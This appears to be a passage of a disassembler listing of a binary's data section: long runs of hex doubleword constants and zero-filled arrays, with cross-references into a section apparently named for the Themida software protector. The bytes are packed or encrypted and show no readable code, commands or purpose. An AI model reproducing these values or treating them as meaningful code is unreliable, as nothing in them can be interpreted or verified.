		dd 3F91B27h, 0E96AE032h, 0C25D8436h, 8AC03512h,	815A5AD0h
		dd 6E8FC1h, 0F98B6600h,	1B6868h, 0F98B6600h, 1BB6658h
		dd 81318BDFh, 681439C6h, 24F6813Dh, 80127F60h, 0EE816ED6h
		dd 76655673h, 8F0Fh, 31890000h,	7E9h, 0C53EFD00h, 13710ECCh
		dd 6CB3E981h, 8D0F3240h, 14h, 0E870Fh, 8E80000h, 0F0000000h
		dd 3C34164Ah, 5A228547h, 6CAFC181h, 8D0F3240h, 3, 8128D780h
		dd 1E8h, 12850F00h, 8A000000h, 39E9F4h,	3FB90000h, 0EDFA21Dh
		dd 9563D742h, 11E86Ch
		db 2 dup(0)
word_5ED70E	dw 162Ah		; DATA XREF: Themida_:0057C9E4o
		dd 4BB32D4h, 0B1FC0C96h, 3472FE9Ah, 0F6C26F8h, 0E95FFAB7h
		dd 0FFFFFF69h, 5A23F555h, 0A6F02F80h, 0D92CE4DAh, 8DF937EAh
		dd 1C3DFD8Dh, 0B5BD8906h, 0F06152Fh, 1D82h, 178E0F00h
		dd 0E9000000h, 12h, 0E07409B1h,	879C075Ch, 6D05FB0Ah, 0A358555Fh
		dd 8D892A3Dh, 6152721h,	69DA8166h, 0CD85C7EBh, 0C0061504h
		dd 6A00006Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 95FCC352h, 56FA2CAFh, 0C7816683h
		dd 85C71F3Ch, 6151115h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 18C35040h
		dd 2A9858Bh, 95890615h,	615161Dh, 2F59B5FFh, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 4472EEC3h, 1EC72C6h,	95FFC68Bh, 61502C9h, 0E8D7BF0Fh
		dd 7, 67242D03h, 0E934B14Eh, 0Ch, 0E4293222h, 0D79534B5h
		dd 86C7198Ch, 0FF006A58h, 152E2195h, 0EBC08B06h, 63D6ED4Dh
		dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 5685C3F4h,	0BF1714C4h
		dd 9F015FF9h, 4C4C6BEh,	0FFE6109h, 4D1AFFBAh, 85F3AFA2h
		dd 0FBC4DB06h, 1C22710Fh, 18057CA1h, 0C2226798h, 67911F71h
		dd 8C3A7055h, 0EF8239F2h, 4F943AA8h, 8D8D1C08h,	61C3EF6h
		dd 0A7FFBF66h, 27218D89h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0E0366DC3h, 85893D0Eh
		dd 6152C75h, 18B5B589h,	85C70615h, 61504CDh, 5E54h, 17058529h
		dd 85C70615h, 6151115h,	0
		dd 33B59523h, 0B5FF0615h, 6152CBDh, 1331B50Bh, 5E90615h
		dd 0E3000000h, 0A8978032h, 2C995FFh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 870F28C3h
		dd 6, 1829BD8Bh, 6A0615h, 2E2195FFh, 0C08B0615h, 0DD1A1BEBh
		dd 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh
		dd 89788FF5h, 0CE8AFh, 137C0000h, 6BA6B369h, 74199B69h
		dd 870F0370h, 0Eh, 0C9953160h, 8B061504h, 151D499Dh, 8B596106h
		dd 15056195h, 0FFC18106h, 0F000071h, 5C68D2BFh,	8000001Ch
		dd 895EF5E2h, 150ACDBDh, 8B398B06h, 152F159Dh, 16F78106h
		dd 0BB6C5541h, 62478A84h, 0FB4EF81h, 8D0F4BD1h,	5, 0C25026BBh
		dd 0CFC78131h, 0BB5DDA1Ah, 0E56BFFFh, 6850F57h,	2B000000h
		dd 15129195h, 0F018F06h, 0E983D3BFh, 6D858B04h,	4E061534h
		dd 0FFAF850Fh, 0BF0FFFFFh, 2AE9D8h, 4C70000h, 24h, 0E800h
		dd 815D0000h, 1C3FBFEDh, 24448B06h, 0AD858904h,	0B8061528h
		dd 0
		dd 4F9E8D8Dh, 0E1FF0615h, 6754B8h, 16EB00h, 4 dup(0)
		dd 1000000h, 3B401h, 6A061C00h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 3C8CC357h, 60375F7Fh
		dd 226D9D8Bh, 8D010615h, 61502A5h, 8E99061h, 0C3000000h
		dd 2DC519EAh, 50D5B306h, 0DF8B6690h, 0B529006Ah, 6150D1Dh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0C9A95EC3h, 0F583E46h, 682h, 51958900h, 8D061515h
		dd 1C412185h, 90D98B06h, 5AE4BA66h, 830F50h, 90000000h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C4C35747h
		dd 30A825C8h, 2504E08Ch, 1D8D9D33h, 81660615h, 6A06D8CFh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 4472EE84h, 1EC72C6h, 0F560006Ah,	9F18D89h
		dd 0FF610615h, 15267995h, 69B58906h, 0E9061506h, 5BDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0ECC35545h
		dd 9D316273h, 61533B5h,	0E8h, 0ED815D00h, 61C4126h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E1C35343h, 0CC409266h
		dd 85E3F93Bh, 6AF5B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0D7E423C3h, 7A823285h, 4FC9811Dh
		dd 0E872A581h, 4, 0FA0h, 24448B50h, 37B95704h, 5B744BFAh
		dd 11E9008Bh, 48000000h, 232D50EAh, 37951452h, 0EE180B0Ah
		dd 50CC87BEh, 4244489h,	58CA8B66h, 68B0Fh, 0B5890000h
		dd 6152925h, 2E2195FFh,	11E80615h, 8B000000h, 5E453A5Bh
		dd 0F4E17DC9h, 5F12DCABh, 254BCE60h, 0DE8h, 617ED900h
		dd 62B871E5h, 0BF38B644h, 0BA660110h, 5A5A5953h, 8D59FC56h
		dd 1C3FE4B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0D6B92FFFh, 1CFC8957h, 6C7293Bh
		dd 6D676552h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	8DC35545h, 0C7D98B4Fh, 6E6F0446h, 95896C63h, 6152B3Dh
		dd 610846C7h, 6A007373h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 82B3C352h, 6E9A0B1h
		dd 0CE000000h, 5D8F80FAh, 60006A6Bh, 0D6815E52h, 2F6E400h
		dd 0E4858D61h, 2B061C3Fh, 1503719Dh, 9BF5006h, 8949B877h
		dd 9E92404h, 8A000000h,	0D017DA9h, 153E4D7Eh, 17F595FFh
		dd 840F0615h, 19h, 14E9h, 9266E100h, 0F93BCC40h, 1FB685E3h
		dd 838CA18Ch, 1BA6E3C4h, 0FC00B6Eh, 2984h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 8B66CB02h, 36BE9D9h,	0BB660000h, 4C684404h, 56F968C5h
		dd 2404815Fh, 6973BE0h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 7DC35242h, 0C94D4B96h, 4D2EDF82h, 2E999589h
		dd 10E80615h, 59000000h, 12A8F78Dh, 0B71FA713h,	294377E5h
		dd 0E998D8EBh, 0Ch, 45F6E2ADh, 0C502B502h, 4A58A98h, 2195FF5Fh
		dd 6A06152Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 465BC356h, 0FEF7B3E8h,	9D8B8CC5h
		dd 61503C1h, 3FE4B58Dh,	0B70F061Ch, 0BA5060D2h,	4453C85Eh
		dd 6C7615Ah, 36343831h,	446C7F9h, 31342D37h, 0E98D3360h
		dd 0E906152Eh, 14h, 8FD37432h, 0D998FA76h, 0EDE1140Eh
		dd 4556E474h, 0D88EB7A2h, 846C761h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B0C35343h
		dd 0C8F97E21h, 6A3C6240h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 87EB6E8Dh
		dd 8D1EB253h, 1C3FE485h, 85B58906h, 50061525h, 48979B5h
		dd 45B53124h, 0FC061513h, 17F595FFh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C14493C3h
		dd 286A6948h, 0F772FDDh, 0F52FFB7h, 381h, 0AEDA8000h, 6880F59h
		dd 8B000000h, 1530959Dh, 0FC00B06h, 1284h, 89952900h, 0FC061518h
		dd 1D8E9h, 599D8900h, 0E8061505h, 4, 12Ch, 7BF5EFBAh, 0F605004h
		dd 281h, 0E95A5700h, 9,	0BA500176h, 9C4440DAh, 448B6112h
		dd 71B60424h, 8B66008Bh, 244489CAh, 3808BB04h, 6A580CCBh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C765C356h, 0DDC29642h, 0FFFD72F1h, 152E2195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 840F6FFAh, 6, 1B63E781h,	0B58D3710h, 61C3FE4h
		dd 694606C7h, 0FE9656Ch, 33000000h, 0D4881E7Bh,	0DD96673Ch
		dd 62AE2D7Dh, 46C7FC2Ah, 6E6F6D04h, 0B5B58963h,	8B061508h
		dd 1508318Dh, 846C706h,	7373616Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0D8C35545h,	1A1CCDADh, 95332B4Ch
		dd 6151509h, 0C7F8B70Fh, 0C46h,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 319BC1C3h
		dd 4985898Eh, 60061522h, 0E9F28B66h, 14h, 49997470h, 3CF4B485h
		dd 72066A87h, 956ECF2Ch, 5469BAC9h, 8B006A61h, 153041BDh
		dd 0E4858D06h, 8B061C3Fh, 151D25BDh, 0B9509006h, 67A0B88Fh
		dd 8B90505Bh, 1530458Dh, 0E58D8906h, 0FF06151Ch, 1517F595h
		dd 12E806h, 7B4F0000h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch
		dd 0D0E18167h, 30358D03h, 0B5B0615h, 33840FC0h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 781FC353h, 83FDD9B9h, 18D89C7h, 8906152Bh
		dd 151675B5h, 0BE906h, 0B9E90000h, 8BFFFFFAh, 1521719Dh
		dd 0DB58D06h, 9061572h,	1507C19Dh, 0B806h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 58B897C3h, 4A37556Ch, 958B8123h, 6152295h, 45FE72BFh
		dd 0E9E6FF72h, 5, 86124D8Ah, 0FEC18B98h, 0F4053CAh, 4BC8D0A8h
		dd 0F409E8Ah, 0EAD5ABA8h, 0F417675h, 4BC9DEA8h,	0AE5DBA8Ah
		dd 4BC98B57h, 0F46668Ah, 0EAD5ABA8h, 0F462975h,	4BCEF9A8h
		dd 0F46AB8Ah, 4BCF7BA8h, 0F472D8Ah, 0EAD5ABA8h,	0D42F2575h
		dd 1336134Fh, 171CC003h, 90A752B4h, 57BE0DDFh, 53E8D121h
		dd 0D42F4396h, 13361C04h, 1764C003h, 90A752B4h,	57BE0C8Eh
		dd 53E4D121h, 0D42F4396h, 13361DF3h, 1770C003h,	90A752B4h
		dd 57BE0C3Ah, 53F0D121h, 0D42F4396h, 13361D5Ch,	177CC003h
		dd 90A752B4h, 57BE0FB7h, 53CCD121h, 0D42F4396h,	13361ED6h
		dd 1748C003h, 90A752B4h, 57BE0F35h, 53C4D121h, 0D42F4396h
		dd 13361FA8h, 1750C003h, 90A752B4h, 57BE0EB3h, 53DCD121h
		dd 0B8C34396h, 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 0B4C0D5F2h, 96A459CDh, 152AA8EDh, 2429458Ah,	96E367A0h
		dd 0D5ADBAB4h, 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h
		dd 8FD3Ah, 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h
		dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh
		dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h
		dd 0DB2FEE27h, 133663E7h, 1129475h, 5AA0D902h, 0AEA459BDh
		dd 51A1EC79h, 0DC0941AEh, 91D1B22h, 3773BA8Ch, 732ADF10h
		dd 1E28C821h, 0EA2C489Fh, 152BFD5Bh, 9881508Ch,	4D950A00h
		dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 74C0D5F2h, 0DAA459C2h
		dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0DC30BACCh, 9E2C418Dh
		dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 5AA0D9F9h, 0AEA459BDh
		dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
		dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah
		dd 5D92BE29h, 24294396h, 1957DFA0h, 515E004Dh, 532A54A8h
		dd 742FD775h, 0CDA152BDh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h
		dd 5AA0D9F9h, 0AEA459BDh, 949A0D79h, 651A2320h,	8481328Ch
		dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah,	1DC9953Bh
		dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh
		dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h,	7332A328h
		dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh
		dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h,	152AA8EDh
		dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah
		dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah,	1FAF5B7Ah
		dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h,	305E3803h
		dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h,	1957DFA0h
		dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h
		dd 91D1B22h, 0E173BA8Ch, 9FA7FEF8h, 57BE72C5h, 0D6A08557h
		dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
		dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah,	152A54AFh
		dd 730BD775h, 452652BDh, 1E28C820h, 0EA2C489Fh,	0FB2BF55Bh
		dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh
		dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 57B76007h,	17868C23h
		dd 0DB2FEF49h, 133663E7h, 0E9C49475h, 0BE4CBD28h, 7A088600h
		dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah,	75D6902Bh
		dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 4487C818h
		dd 0B9E2DFAEh, 0DC088558h, 91D1B32h, 3771BA8Ch,	73E39410h
		dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h
		dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h
		dd 742FD775h, 0DDA152BDh, 0FB637726h, 2265CE25h, 825D4396h
		dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h,	0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 732A54A8h, 376B7732h, 5AB0D903h, 0AEA459BDh,	9592327Bh
		dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h
		dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h
		dd 0B824FDECh, 8FA7FFCEh, 57BE72C5h, 0A09A8757h, 0FB0E0320h
		dd 2265CE25h, 825D4396h, 0D8ACECCEh, 2C89EEECh,	0E957DDA4h
		dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
		dd 9CC0D5F2h, 96A459C1h, 152AA8EDh, 2429458Ah, 1957DFA0h
		dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
		dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
		dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
		dd 5394CE25h
		dd 0DCF14396h, 96DC132h, 0D871BA8Ch, 42C3A8EDh,	0AEA2458Ah
		dd 60D558DDh, 9F38C882h, 462C48EEh, 1637DF07h, 0C6D552B4h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57BE0350h
		dd 80B0D9FBh, 0AEA459CDh, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 96CB232h, 0CB2F168Ch, 1336133Dh,	142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 8D000030h
		dd 1534499Dh, 23E4B806h, 85890000h, 615090Dh, 0E8h, 0D055800h
		dd 89000000h, 23E4E903h
		db 2 dup(0)
word_5EE6A6	dw 0			; DATA XREF: Themida_:0057CE78o
		dd 157h	dup(0)
		db 2 dup(0)
word_5EEC06	dw 0			; DATA XREF: Themida_:00579D2Co
		dd 1Dh dup(0)
dword_5EEC7C	dd 781h	dup(0)			db 2 dup(0)
word_5F0A82	dw 0			; DATA XREF: Themida_:0057A4C0o
		dd 0
		dd 9E80000h, 5B000000h,	0B79F10DDh, 5F424665h, 820F6050h
		dd 0
		dd 9E9h, 0DAF60100h, 2DAA3454h,	596135E5h, 0C281665Fh
		dd 0C781D00Ah, 0E6DDh, 6BB380B9h, 6811h, 8B660000h, 0A8BA58CEh
		dd 8B3E1DA0h, 8B660734h, 0F5F681D1h, 507D39B8h,	0A6C38166h
		dd 0F6815BFDh, 462B5CA4h, 0FBD18166h, 5EEE815Ah, 0B623D6FBh
		dd 8A6056FEh, 0FE8B66DEh, 7048F61h, 13E8h, 0D91AF300h
		dd 75086E98h, 2764797h,	88101048h, 38D6A006h, 5AD78B66h
		dd 8E9h, 0CBD45500h, 0A3C25428h, 4E8832Fh, 2C26C381h, 0F88132ACh
		dd 0FFFF1A00h, 13850Fh,	8B660000h, 2AE9D0h, 1D610000h
		dd 5EDC9724h, 457ED5C2h, 8B66605Ah, 58E0FF9h, 0BB000000h
		dd 27F8E7C3h, 0FF69E961h, 96A9FFFFh, 5886D2DFh,	0A1DF3B7Ah
		dd 13E8h, 3D054B00h, 1AA202Ch, 6146023Ch, 2DDBF59Dh, 0C6E4244Ch
		dd 5759DA8Ah, 8F0F53h, 5E000000h, 1CC1815Eh, 68000066h
		dd 1955h, 5F6BD680h, 8D0F6050h,	0
		dd 5E615B56h, 8A0F31FFh, 4, 3531BA66h, 0FBBB6658h, 0A1F081D1h
		dd 0E87F881Fh, 0Ch, 33DE1126h, 0EAB8A9DFh, 7882F820h, 6A56F681h
		dd 815B2FCFh, 0CD7905C0h, 2D68122h, 81615BA8h, 3383ABE8h
		dd 0D88B606Fh, 0F018961h, 1C84h, 11E800h, 0F0450000h, 0F4DCB5FCh
		dd 4914D6E4h, 11C6054Ah, 0BB30697Eh, 29F563BFh,	9E9815Ah
		dd 663AF74Ch, 812384BEh, 0F74C05C1h, 0CE81663Ah, 0EF835DD4h
		dd 79850F01h, 0E9FFFFFFh, 5, 8D4B5672h,	0FE9E1h, 584B0000h
		dd 47CAh, 2 dup(0)
		dd 0E33E900h, 0CF680000h, 0E9061C74h, 0FFF90C1Eh, 1C75E168h
		dd 0C14E906h, 9068FFF9h, 0E9061C76h, 0FFF90C0Ah, 1C772368h
		dd 0C00E906h, 0B768FFF9h, 0E9061C7Ah, 0FFF90BF6h, 1C7E1568h
		dd 0BECE906h, 0ED68FFF9h, 0E9061C7Eh, 0FFF90BE2h, 0CCA91995h
		dd 9362D257h, 0E4B1219Ch, 9C79E94Fh, 0E2B32387h, 67CBC6C5h
		dd 0AE111EF7h, 6CC8573Eh, 0A90A19FCh, 636B5C39h, 9A80B9E0h
		dd 79C34416h, 6056C624h, 0BD81F153h, 3392F374h,	1086F2EEh
		dd 0F793BC8Dh, 3A6A0E9Ch, 1A69A124h, 23F4169Ch,	3697161Bh
		dd 93DA4A8Fh, 4F603116h, 9A947647h, 89F97FB4h, 0EBDAB08Dh
		dd 1693DAA2h, 0F9F9E44Bh, 0DA3960E3h, 0FBC41693h, 0B4464567h
		dd 28C2EDA2h, 0BD2D006Dh, 43889Dh, 98C60000h, 93F5E42Dh
		dd 0D4B68716h, 0E30BAB60h, 83ADDE0Eh, 29351AACh, 9BE3BE9Ah
		dd 73D2BF16h, 8BEA2C03h, 1693D042h, 9959842Bh, 6BAB1B98h
		dd 0D0F9CC92h, 9B1693D0h, 48B5E08Ah, 0D09DBD3Ch, 19h, 0DF624FECh
		dd 0ADF44F6Fh, 501086F2h, 862F8B7Fh, 2D000009h,	5436A604h
		dd 57C724E0h, 81F1525Fh, 0C2F2C6F4h, 0F6CEDBFCh, 30ABB5DDh
		dd 0D9DA045Ah, 0A500EA5Ah, 169B236Dh, 0D6FFDFF0h, 360DB6E7h
		dd 1693C513h, 8DEEC9DAh, 0B87614A9h, 0EB5BDDD6h, 2479A4FFh
		dd 0D6F1693h, 2888999Dh, 0E777EB8h, 2BE6449Fh, 84696E84h
		dd 183B27E4h, 50DDD8B2h, 0F29DBDC3h, 5F3059ECh,	0CA2E1693h
		dd 35D5E65Ah, 4E05h, 0BAB2100h,	3D903DBh, 0D96B30D2h, 5DC886DDh
		dd 10865934h, 682B594Eh, 8E324893h, 68AE1EA1h, 0F3D2B897h
		dd 169B8147h, 2442DF6h,	0B6E83FE7h, 82AF9D99h, 0CBFA9000h
		dd 1693E782h, 3019C46Bh, 9DBD2ECDh, 0FE53h, 0CD288900h
		dd 2485AD5Dh, 525F57C7h, 9D9680F0h, 0C131921Eh,	38BBA8EEh
		dd 0F2256CD7h, 0B73B1086h, 0C27E4F47h, 7A37DEF1h, 1086F773h
		dd 0FF960665h, 5B63D330h, 65D53081h, 86F799C0h,	0E050D710h
		dd 5667D9B6h, 50F07AB4h, 1738A804h, 1888EA47h, 98DA093Fh
		dd 9F4BBDDAh, 269DBF9Dh, 1086B0E3h, 0B0749D28h,	26F71086h
		dd 0E2C1A97Ah, 169C473Eh, 65D5545Dh, 0AAE5C31h,	0AA4E5C39h
		dd 397A647Ah, 60D02DB9h, 94765936h, 8BCA0629h, 0F6EC310h
		dd 0FACBEB9Fh, 61E4FAE4h, 1CABF338h, 0E656D6C3h, 1AF0DFB0h
		dd 0CC319919h, 0CDB46FBAh, 2566AB1Ah, 34051CABh, 0D261341Bh
		dd 0F37D0070h, 0ECB1C2C2h, 0ADC6ACAh, 93F30000h, 5CDD5223h
		dd 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh, 950565h
		dd 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h, 16169A86h
		dd 0C624E755h, 1370BF56h, 0AB66D2A3h, 4003DB0Bh, 169BF5F0h
		dd 34A4062Bh, 65516256h, 93F1BFDEh, 0E252B116h,	0CC3CBFB4h
		dd 11BC6DCAh, 0EC178D2h, 0BD1CAE3Bh, 0EA369Dh, 63740000h
		dd 0FD1D599Eh, 0B08670CDh, 0D839627h, 60A91C22h, 0B169368h
		dd 24EC503Ah, 525F57C7h, 2F9680F0h, 1086F7CEh, 0EBF363E0h
		dd 0BFF767C6h, 0E2511CCEh, 0C4EDF161h, 1816F464h, 21A2EE92h
		dd 0A78885B1h, 642C97h,	3809169Ch, 40B00D26h, 67198156h
		dd 100095A4h, 7A404B3Fh, 0E5419EC6h, 0B08935E0h, 9C96BF9Fh
		dd 58814497h, 2316936Fh, 0CFF84512h, 3E055733h,	108B6192h
		dd 2970D309h, 0D41CAB6Dh, 6D2E73D2h, 0FCCD1CABh, 9A8737D3h
		dd 0B5258B17h, 8CA39C9Ah, 910181B2h, 5BCB2F04h,	0C2FB36C2h
		dd 2B87ADB1h, 9CAh, 5C39A905h, 23F262C7h, 0B441B10Ch, 0EC89F97Fh
		dd 0B243B337h, 77FBB6F5h, 3EC16E07h, 7CF827CEh,	39BA690Ch
		dd 0B39B2CC9h, 9A87C910h, 933B416h, 0BF56C624h,	0A616969Bh
		dd 3EEB9F70h, 84A84DBDh, 72E2624Fh, 729F4B44h, 7C75A111h
		dd 0ADAF8FFFh, 86F2F316h, 0C1A97A10h, 9D180BB2h, 6FAB3EB8h
		dd 3F2BC294h, 0D959A559h, 7F502D69h, 157CE45Fh,	3001169Bh
		dd 0DB15576Eh, 0EA8EBC59h, 8D21A4BAh, 90B94732h, 4DF177BFh
		dd 0A81B411Dh, 0A576A261h, 0D4F3B0Ch, 6F34CB36h, 0BD8192A3h
		dd 0EE87F774h, 0CB52C241h, 1E7D839h, 1B2C88AEh,	0B4000009h
		dd 0F42BCA3Ah, 0C3700575h, 0EC43D242h, 0AA791C8Ch, 5E3DD848h
		dd 0A010722Dh, 69D95ED5h, 0A515978Ch, 70E063D0h, 992C32A5h
		dd 169A8470h, 24C27AFBh, 0D95F57C7h, 0C8E9F525h, 82BA026Ah
		dd 0FB0DA403h, 0A52036D4h, 169C0821h, 565B6334h, 0A08F66D6h
		dd 0ADAAB424h, 4123DC80h, 0C0AE0ABh, 93C060A9h,	30CD1016h
		dd 0D6AA1692h, 0B12D98A6h, 0B4108EB0h, 77FADBE3h, 43863D4Dh
		dd 2A1CACA3h, 93C63E19h, 7081AB5Fh, 0B2DAA313h,	0A9B1C67Dh
		dd 888278Bh, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh
		dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh
		dd 0FA9B0B68h, 1B3E05C9h, 0E2169A85h, 0BAB1B21h, 4C4003DBh
		dd 0AF169BF2h, 0CB930382h, 93F2D1F8h, 0DF8B9C16h, 0E3D0EEBFh
		dd 0D8C6F060h, 93F2246Dh, 0D9F6C716h, 8BEE0331h, 0D8235123h
		dd 69460E5Fh, 6CDC5C55h, 466BEF7Eh, 9B9872E2h, 0A70A616h
		dd 8C370737h, 1693611Dh, 60D03360h, 61A2E75Eh, 78491693h
		dd 0B5645F57h, 0CC3CBD0Ah, 61418C29h, 5B1E1693h, 5B0132Bh
		dd 38169361h, 20A18E67h, 61DD04BFh, 0AC131693h,	9B05FA3Ch
		dd 9899A58Ah, 906DA919h, 8CB93CFAh, 0D4169360h,	3B787A65h
		dd 67A446B6h, 2C039202h, 0DA595DCDh, 16936603h,	0F0777F5h
		dd 0E82E9E22h, 14B31A8Fh, 1EEF2797h, 3AA51431h,	0D9BC2C8Dh
		dd 0B5DC6775h, 0D6169366h, 93662A6Fh, 60C0D116h, 42F59B4Fh
		dd 2E0171F6h, 6669B510h, 3B0C1693h, 3AAA0E23h, 1181E7FCh
		dd 63072825h, 81F2E3A9h, 4D942F5Dh, 3016939Ah, 0D3CF381Fh
		dd 6D09B456h, 1A82FDBDh, 9B191A44h, 0A2577A2Bh,	5166AF1h
		dd 0C6832A65h, 121F6E63h, 1C9E9h, 0BABBD00h, 0E44003DBh
		dd 79169C17h, 91BE2E8Ch, 83C68FCDh, 979FEBBh, 7F27300Dh
		dd 1714F650h, 1BA70894h, 13EC2A9Ah, 0AD82133Ch,	5DD8DE4Eh
		dd 91D8C096h, 0E5124305h, 0E3268419h, 1E92B78Eh, 48599DDAh
		dd 0A10C8367h, 56E26051h, 494D62D2h, 16959674h,	99B6268Ah
		dd 54C427FCh, 0F929D862h, 31A1071Ch, 3CE6282Dh,	0FF08A847h
		dd 0B310210Bh, 8BA8B243h, 61D2B828h, 476C72E2h,	9D9773E3h
		dd 4D3DC116h, 0FEB1380Eh, 0C939BFF4h, 0A8E7F0CDh, 4F2C47C6h
		dd 0C92AE783h, 467BC59h, 77BCA294h, 0BD9284F4h,	0C814E3CDh
		dd 0CEBFF767h, 2366DDE1h, 68EF6186h, 9278E84Bh,	0D6781D2Eh
		dd 66574701h, 7B6FB376h, 0A2BC2C8Eh, 0FCC009BCh, 9C1EEF61h
		dd 15AB742Ch, 2B37B472h, 4BC9A18Eh, 0D5F21ADDh,	5F26F421h
		dd 9492B78Eh, 4859EF61h, 0CF764867h, 0EF619486h, 8DD1A475h
		dd 0DD68C924h, 0EF6194B4h, 4D496637h, 949DC47Fh, 4F60EF61h
		dd 2A898A60h, 94D7FAC9h, 6996EF61h, 0A7B79808h,	6194F51Ch
		dd 88A778EFh, 0AD15958Eh, 0FCC7046Dh, 0EF6163D5h, 0C0B08798h
